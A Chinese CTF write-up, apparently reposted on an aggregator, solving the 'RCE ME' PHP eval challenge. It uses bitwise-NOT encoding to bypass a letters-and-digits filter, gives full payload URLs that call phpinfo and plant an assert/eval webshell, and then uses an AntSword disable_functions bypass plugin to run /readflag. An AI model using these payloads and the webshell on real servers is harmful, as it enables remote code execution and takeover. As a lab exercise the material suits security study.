当前位置: 首页 > news >正文

[极客大挑战 2019]RCE ME1

 <?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

 开始代码审计.

意思就是我们传入的code的value要到达eval()函数,我们需要绕过两个过滤

首先是长度不能大于40,之后便是我们传入的内容不能是大小写字母以及0-9的数字.

绕过方法呢可以使用取反绕过,以及异或绕过.

 我们这里采用取反绕过的方法.

首先构造exp,去看看他禁用了哪些函数.

<?php
$phpinfo=urlencode(~'phpinfo');
echo '(~'.$phpinfo.')();';
?>result:(~%8F%97%8F%96%91%99%90)();

payload: 

http://ffc6c847-30f6-4efb-aea5-fff4306738a6.node5.buuoj.cn:81/?code=(~%8F%97%8F%96%91%99%90)();

看来禁用的还是比较多的一会可能需要使用这些被使用了disable_function()的函数了. 

之后构造webshell,由于php版本的问题呢,我们不能直接构造assert($_POST["cmd"]),我们需要构造构造成assert(eval($_POST["cmd"])),这种形式.

话不多说,开始构造webshell.

<?php 
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[love]))';
$d=urlencode(~$c);
echo $d;?>result:%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6

链接蚁剑客.

http://1183e56b-6266-4676-8c7e-fe5a9f33d291.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6);

 

之前我们提到了,他禁用了很多函数方法,我们可以通过下面蚁剑的绕过disable_functions的插件进行绕过.

 

选择PHP7_GC_UAF 

 

 之后执行/readflag,来读取flag.

得到flag,游戏结束. 

 

 


http://www.mrgr.cn/news/36608.html

相关文章:

  • 区间估计通俗理解与理论推导
  • ES的自我保护机制,磁盘超过多少会进入只读模式,怎么解决
  • JS设计模式之桥接模式:搭建跨越维度的通路
  • trixbox call php发起电话呼叫
  • AI:颠覆式创新 vs. 持续性创新
  • 轻松上手MyBatis反向工程:从零到一的自动化代码生成
  • 利用探空站数据(怀俄明和IGRA)和ERA5计算ZTD、ZHD和ZWD
  • [遇到问题]Word 带花括号的多行公式显示不全/多行公式对不齐
  • django drf 统一Response格式
  • Java中的接口以及抽象类与接口的关系
  • 3分钟,教你判断自己适不适合做项目管理!
  • 2024开放式蓝牙耳机排行榜是哪些耳机?推荐5款热门开放式耳机!
  • 【Linux学习】2-1 Linux系统下运行C语言输出hello word
  • 基于 Flask 和 Vue 的 MVC 分层结构详解
  • 浅谈软件安全开发的重要性及安全开发实践
  • 大屏自适应方案
  • MongoDB学习
  • 深度学习之开发环境(CUDA、Conda、Pytorch)准备(4)
  • Redis学习
  • antd嵌套表单验证